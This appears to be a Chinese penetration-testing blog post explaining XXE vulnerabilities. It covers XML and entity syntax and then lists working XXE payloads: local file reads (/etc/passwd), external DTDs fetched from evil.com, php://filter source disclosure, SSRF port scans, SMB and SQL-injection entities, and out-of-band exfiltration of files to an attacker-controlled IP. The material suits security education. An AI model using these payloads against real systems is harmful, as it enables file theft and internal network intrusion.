Pentest

XXE漏洞

2018-05-08  本文已影响87人  cws

原文链接:http://wyb0.com/posts/xxe/

0x00 XXE

XXE漏洞是针对使用XML交互的Web应用程序的攻击方法

XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛

0x01 XML格式

<?xml version="1.0" encoding="utf-8"?>  <!--xml声明-->

<!--文档类型定义-->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to       (#PCDATA)>
  <!ELEMENT from     (#PCDATA)>
  <!ELEMENT heading  (#PCDATA)>
  <!ELEMENT body     (#PCDATA)>
]>

<!--文档元素-->
<note>
<to>Tom</to>
<from>John</from>
<heading>Reminder</heading>
<body>Hi,I’am John</body>
</note>

0x02 内部声明与外部引用

<!--内部声明实体-->
<!ENTITY 实体名称 "实体的值">

<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM "URI">

0x03 XXE漏洞

<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<test>&xxe;</test>
<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY % d SYSTEM "http://evil.com/evil.dtd" >
  %d;
]>
<test>&b;</test>

evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd" >
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evil.com/evil.dtd">
<test>&b;</test>

evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd" >
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
  <!ELEMENT methodname ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<methodcall>
  <methodname>&xxe;</methodname>
</methodcall>
<!ENTITY portscan SYSTEM 'http://192.168.2.22:6379/'>
<!ENTITY smb SYSTEM '\\192.168.2.22\C$'>
<!ENTITY sqli SYSTEM 'http://192.168.2.22/a.php?id=-1+union+select+1,2,3--'>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://Your IP/evil.xml">
    %remote;   <!--引用remote来将外部文件evil.xml引入到解释上下文中-->
    %payload;   <!--执行%payload,这时会检测到send实体,然后在root节点中引用send,就可以成功实现数据转发-->
]>
<root>&send;</root>

<!--evil.xml内容:-->
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://Your IP/a.php?content=%ttt;'>">
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
    <!ENTITY % file SYSTEM "file:///C:/1.txt">  
    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  
    %remote;  
    %all;  
    %send;  
]>

<!--evil.xml内容:-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

Reference(侵删):

上一篇下一篇

猜你喜欢

热点阅读